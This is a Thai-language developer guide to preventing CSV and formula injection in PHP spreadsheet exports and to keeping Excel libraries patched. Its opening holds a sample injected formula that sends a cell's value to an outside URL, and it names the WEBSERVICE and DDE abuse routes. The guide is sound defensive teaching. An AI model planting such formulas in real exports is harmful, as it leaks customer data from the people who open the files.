ไฟล์ export ส่วนใหญ่มีข้อมูลที่คนนอกพิมพ์เข้ามา ชื่อลูกค้าจากฟอร์มสมัครสมาชิก ที่อยู่จัดส่ง หมายเหตุในคำสั่งซื้อ พอพนักงานกด export แล้วเปิดใน Excel ข้อมูลพวกนั้นเข้าไปอยู่ในโปรแกรมที่คำนวณสูตรได้ ถ้าลูกค้าพิมพ์ชื่อตัวเองว่า =HYPERLINK("https://example.com/?x="&A2,"คลิกเพื่อยืนยัน") Excel จะเห็นเป็นสูตร ไม่ใช่ชื่อ ช่องโหว่แบบนี้เรียกว่า CSV injection หรือ formula injection
สูตรเริ่มทำงานในเครื่องของคนเปิดไฟล์
ระบบของเราไม่ได้รันสูตรเอง คนที่โดนคือพนักงานที่เปิดไฟล์ OWASP สรุปความเสี่ยงไว้สองแบบ
- ข้อมูลรั่ว สูตรอย่าง
HYPERLINKหรือWEBSERVICEส่งค่าจากเซลล์อื่นในไฟล์ไปยังเว็บของคนร้ายเมื่อมีคนคลิกหรือเมื่อ Excel อัปเดตข้อมูล ไฟล์รายชื่อลูกค้าทั้งไฟล์อาจหลุดออกไปทางลิงก์เดียว - รันคำสั่งในเครื่อง Excel รุ่นเก่ามีสูตรอย่าง DDE ที่เรียกโปรแกรมอื่นได้ ทุกวันนี้ Excel ถามก่อนรัน แต่คำเตือนเป็นปุ่มที่คนกดผ่านได้ง่าย
ทั้งสองแบบต้องอาศัยคนในองค์กรที่ไว้ใจไฟล์จากระบบของตัวเอง จึงเป็นเรื่องที่ระบบควรกันไว้ตั้งแต่ตอน export
ตัวอักษรที่ทำให้ Excel เห็นเป็นสูตร
| ขึ้นต้นด้วย | ตัวอย่างที่ Excel อ่านเป็นสูตร |
|---|---|
= |
=1+1 |
+ |
+A1 |
- |
-2+3 |
@ |
@SUM(A1:A2) |
| tab, carriage return, line feed | ซ่อนอยู่หน้าค่าที่ดูปกติ |
OWASP ให้นับตัวอักษรแบบเต็มความกว้าง (full-width) อย่าง = และ + ด้วย ตัวกรองที่ดูแค่ตัวแรกแบบ ASCII จึงยังไม่พอ
ใน XLSX ให้เขียนข้อมูลของผู้ใช้เป็น string cell
XLSX เก็บชนิดของแต่ละเซลล์ไว้ในไฟล์ เซลล์ที่บอกว่าเป็นข้อความจะไม่ถูกคำนวณเลย ปัญหาคือ library ทั้งสองตัวที่เราใช้บ่อยเดาชนิดให้จากค่าที่ส่งเข้าไป และทั้งคู่เดาว่า string ที่ขึ้นต้นด้วย = คือสูตร
- PhpSpreadsheet
DefaultValueBinderตั้งค่าที่ขึ้นต้นด้วย=เป็นชนิดสูตร Laravel Excel ใช้ binder ตัวนี้เป็นค่าเริ่มต้น - OpenSpout
Row::fromValues()และCell::fromValue()สร้างFormulaCellให้ทุก string ที่ขึ้นต้นด้วย=
ทางกันจึงอยู่ที่การบอกชนิดเองสำหรับคอลัมน์ที่มาจากผู้ใช้
// PhpSpreadsheet: บอกชนิดเป็นข้อความ
$sheet->setCellValueExplicit('B2', $customer->name, DataType::TYPE_STRING);
// OpenSpout: สร้าง StringCell เอง แทนการให้ fromValues เดา
$row = new Row([
Cell\StringCell::fromValue($customer->name),
Cell\NumericCell::fromValue($order->total),
]);
ใน Laravel Excel ใส่ concern WithCustomValueBinder แล้วให้คอลัมน์ข้อความของผู้ใช้ผ่าน setValueExplicit ทางเดียวกับคอลัมน์เลขบัตรหรือเบอร์โทรที่ต้องเป็นข้อความอยู่แล้ว (รายละเอียดอยู่ใน โพสต์เรื่องเลขยาวกับเลข 0 นำหน้า) ข้อดีคือค่าในไฟล์เหมือนที่ผู้ใช้พิมพ์ทุกตัวอักษร พนักงานเห็น =1+1 เป็นข้อความธรรมดา
ใน CSV ต้อง escape เพราะไฟล์ไม่มีชนิดของเซลล์
CSV เป็นข้อความล้วน Excel เดาชนิดใหม่ทุกครั้งที่เปิด ทางเดียวคือแก้ค่าก่อนเขียน OWASP แนะนำให้เติม ' (single quote) นำหน้าค่าที่ขึ้นต้นด้วยตัวอักษรในตารางข้างบน Excel จะเห็นเป็นข้อความ
league/csv มี EscapeFormula ทำเรื่องนี้ให้ (เอกสาร league/csv)
$writer = Writer::from('php://output', 'w');
$writer->addFormatter(new EscapeFormula());
// ตอน import กลับ ถอด ' ที่เติมไว้ออก
$record = (new EscapeFormula())->unescapeRecord($record);
มีสามเรื่องที่ต้องคิดก่อนใช้
- ค่าที่เป็นตัวเลขจริงก็โดนด้วย ตอนลองกับ league/csv ค่า
-5และเบอร์โทร+66812345678ถูกเติม'ทั้งคู่ ถ้าคอลัมน์ไหนเป็นตัวเลขติดลบหรือเบอร์โทรที่ต้องเปิดใน Excel แล้วคำนวณได้ ให้ escape เฉพาะคอลัมน์ข้อความของผู้ใช้ หรือยกเว้นค่าที่เป็นตัวเลขล้วน - ค่าในไฟล์เปลี่ยนไป ไฟล์เดียวกันถ้า import กลับเข้าระบบต้องถอด
'ที่เราเติมออกก่อน ไม่อย่างนั้นชื่อลูกค้าจะมี'เพิ่มมาทุกรอบที่ export แล้ว import - การกันอาจหายเมื่อมีคน save ใหม่ OWASP เตือนว่าถ้าพนักงานเปิด CSV แล้ว save ทับใน Excel เครื่องหมาย
'อาจหายไป ไฟล์ที่ส่งต่อไปเปิดที่อื่นจะกลับมาเสี่ยงอีก ถ้าไฟล์ต้องส่งต่อหลายทอด XLSX ที่บอกชนิดเซลล์ไว้ปลอดภัยกว่า
library ที่อ่านและเขียน Excel ต้องอยู่ในรุ่นที่ยังได้แพตช์
นอกจากข้อมูลในไฟล์ ตัว library เองก็มีช่องโหว่ได้ โดยเฉพาะฝั่งที่อ่านไฟล์ที่ผู้ใช้อัปโหลด เพราะไฟล์ XLSX คือ zip ที่มี XML อยู่ข้างใน ช่องโหว่ที่เจอบ่อยจึงเป็น XXE (XML ที่สั่งให้ parser ไปอ่านไฟล์อื่น) SSRF และ XSS ในหน้าที่แสดงผลไฟล์
| Package | สถานะ |
|---|---|
| phpoffice/phpexcel | เลิกพัฒนาตั้งแต่ปี 2017 และ archive ตั้งแต่ปี 2019 มี advisory ราว 23 รายการที่จะไม่มีใครแก้ ต้องย้ายออก |
| phpoffice/phpspreadsheet | มีแพตช์ความปลอดภัยออกต่อเนื่อง รุ่นที่ยังได้แพตช์คือ ≥5.10.0, ≥3.10.8, ≥2.4.8, ≥2.1.19 และ ≥1.30.6 (SECURITY.md) |
| maatwebsite/excel 3.1 | รับแค่แก้ CVE ฟีเจอร์ใหม่อยู่ที่ 4.x ซึ่งใช้ PhpSpreadsheet 5 |
ตัวอย่างหนึ่งในปี 2026 คือ CVE-2026-34084 ที่ IOFactory::load() ของ PhpSpreadsheet อาจโดน SSRF ไปจนถึงรันโค้ดได้ ถ้าชื่อไฟล์ที่ส่งเข้าไปมาจากผู้ใช้ กฎที่ใช้ได้กับทุกรุ่นคือ อย่าส่ง path หรือชื่อไฟล์ที่ผู้ใช้กำหนดเข้า load() ตรง ๆ ให้เก็บไฟล์อัปโหลดด้วยชื่อที่ระบบตั้งเองก่อน
วิธีเช็กที่ง่ายที่สุดคือรัน composer audit ในโปรเจกต์ (เอกสาร Composer) คำสั่งนี้เทียบรุ่นใน composer.lock กับฐานข้อมูล advisory แล้วบอกว่า package ไหนมีช่องโหว่ ใส่ไว้ใน CI ให้รันทุกครั้งที่ push ก็ได้
จุดที่มักหลุดการ escape
- ระบบที่ทั้ง export และ import ไฟล์เดียวกัน เช่น export รายการสินค้าให้ร้านแก้ใน Excel แล้ว import กลับ ต้องมีทั้งขา escape และขาถอด escape ใช้กฎเดียวกันทั้งสองทาง เราเคยทำตัวช่วยเล็ก ๆ ที่ escape ตอนเขียน ยกเว้นค่าที่เป็นตัวเลขล้วนอย่าง
+66812345678แล้วถอดออกตอนอ่านกลับ ทั้ง CSV และ XLSX ใช้ตัวเดียวกัน - ไฟล์ XLSX ที่สร้างด้วย
Row::fromValues()ทั้งแถว สะดวกที่สุด แต่เป็นทางที่ string ขึ้นต้นด้วย=กลายเป็นสูตรโดยไม่มีใครตั้งใจ ถ้าแถวนั้นมีข้อมูลจากผู้ใช้ ให้ escape ก่อน หรือสร้าง cell เอง - ข้อมูลที่ดูไม่น่ามาจากผู้ใช้ ชื่อสินค้าที่ร้านค้าตั้งเอง หมายเหตุที่ลูกค้าพิมพ์ตอนสั่งของ ข้อความที่ระบบดึงมาจาก API ของคนอื่น ทั้งหมดนี้นับเป็นข้อมูลจากภายนอก






